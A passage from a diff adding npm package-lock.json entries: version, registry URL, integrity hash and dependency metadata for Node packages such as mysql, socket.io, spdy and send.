"sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "node_modules/get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/handle-thing": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/handle-thing/-/handle-thing-2.0.1.tgz", + "integrity": "sha512-9Qn4yBxelxoh2Ow62nP+Ka/kMnOXRi8BXnRaUwezLNhqelnN49xKz4F/dPP8OYLxLxq6JDtZb2i9XznUQbNPTg==" + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hash.js": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", + "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==", + "dependencies": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.1" + } + }, + "node_modules/hmac-drbg": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz", + "integrity": "sha512-Tti3gMqLdZfhOQY1Mzf/AanLiqh1WTiJgEj26ZuYQ9fbkLomzGchCws4FyrSd4VkpBfiNhaE1On+lOz894jvXg==", + "dependencies": { + "hash.js": "^1.0.3", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "node_modules/hpack.js": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", + "integrity": "sha1-h3dMCUnlE/QuhFdbPEVoH63ioLI=", + "dependencies": { + "inherits": "^2.0.1", + "obuf": "^1.0.0", + "readable-stream": "^2.0.1", + "wbuf": "^1.1.0" + } + }, + "node_modules/hpack.js/node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/hpack.js/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/http-deceiver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz", + "integrity": "sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc=" + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==" + }, + "node_modules/minimalistic-crypto-utils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", + "integrity": "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==" + }, + "node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/mysql": { + "version": "2.18.1", + "resolved": "https://registry.npmjs.org/mysql/-/mysql-2.18.1.tgz", + "integrity": "sha512-Bca+gk2YWmqp2Uf6k5NFEurwY/0td0cpebAucFpY/3jhrwrVGuxU2uQFCHjU19SJfje0yQvi+rVWdq78hR5lig==", + "dependencies": { + "bignumber.js": "9.0.0", + "readable-stream": "2.3.7", + "safe-buffer": "5.1.2", + "sqlstring": "2.3.1" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mysql/node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/mysql/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.1.tgz", + "integrity": "sha512-Y/jF6vnvEtOPGiKD1+q+X0CiUYRQtEHp89MLLUJ7TUivtH8Ugn2+3A7Rynqk7BRsAoqeOQWnFnjpDrKSxDgIGA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/qs": { + "version": "6.10.3", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.3.tgz", + "integrity": "sha512-wr7M2E0OFRfIfJZjKGieI8lBKb7fRCH4Fv5KNPEs7gJ8jadvotdsS08PzOKR7opXhZ/Xkjtt3WF9g38drmyRqQ==", + "dependencies": { + "side-channel": "^1.0.4" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.1.tgz", + "integrity": "sha512-qqJBtEyVgS0ZmPGdCFPWJ3FreoqvG4MVQln/kCgF7Olq95IbOp0/BWyMwbdtn4VTvkM8Y7khCQ2Xgk/tcrCXig==", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/select-hose": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", + "integrity": "sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo=" + }, + "node_modules/send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "node_modules/serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==" + }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "dependencies": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/socket.io": { + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.5.1.tgz", + "integrity": "sha512-0y9pnIso5a9i+lJmsCdtmTTgJFFSvNQKDnPQRz28mGNnxbmqYg2QPtJTLFxhymFZhAIn50eHAKzJeiNaKr+yUQ==", + "dependencies": { + "accepts": "~1.3.4", + "base64id": "~2.0.0", + "debug": "~4.3.2", + "engine.io": "~6.2.0", + "socket.io-adapter": "~2.4.0", + "socket.io-parser": "~4.0.4" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-adapter": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-2.4.0.tgz", + "integrity": "sha512-W4N+o69rkMEGVuk2D/cvca3uYsvGlMwsySWV447y99gUPghxq42BxqLNMndb+a1mm/5/7NeXVQS7RLa2XyXvYg==" + }, + "node_modules/socket.io-client": { + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-4.5.1.tgz", + "integrity": "sha512-e6nLVgiRYatS+AHXnOnGi4ocOpubvOUCGhyWw8v+/FxW8saHkinG6Dfhi9TU0Kt/8mwJIAASxvw6eujQmjdZVA==", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.2", + "engine.io-client": "~6.2.1", + "socket.io-parser": "~4.2.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-client/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socket.io-client/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/socket.io-client/node_modules/socket.io-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.0.tgz", + "integrity": "sha512-tLfmEwcEwnlQTxFB7jibL/q2+q8dlVQzj4JdRLJ/W/G1+Fu9VSxCx1Lo+n1HvXxKnM//dUuD0xgiA7tQf57Vng==", + "dependencies": { + "@socket.io/component-emitter": "~3.1.0", + "debug": "~4.3.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-parser": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.0.4.tgz", + "integrity": "sha512-t+b0SS+IxG7Rxzda2EVvyBZbvFPBCjJoyHuE0P//7OAsN23GItzDRdWa6ALxZI/8R5ygK7jAR6t028/z+7295g==", + "dependencies": { + "@types/component-emitter": "^1.2.10", + "component-emitter": "~1.3.0", + "debug": "~4.3.1" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/socket.io-parser/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socket.io-parser/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/socket.io/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/socket.io/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "dependencies": { + "debug": "^4.1.0", + "detect-node": "^2.0.4", + "hpack.js": "^2.1.6", + "obuf": "^1.1.2", + "readable-stream": "^3.0.6", + "wbuf": "^1.7.3" + } + }, + "node_modules/spdy-transport/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/spdy-transport/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/spdy/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/spdy/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/sqlstring": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/sqlstring/-/sqlstring-2.3.1.tgz", + "integrity": "sha1-R1OT/56RR5rqYtyvDKPRSYOn+0A=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": 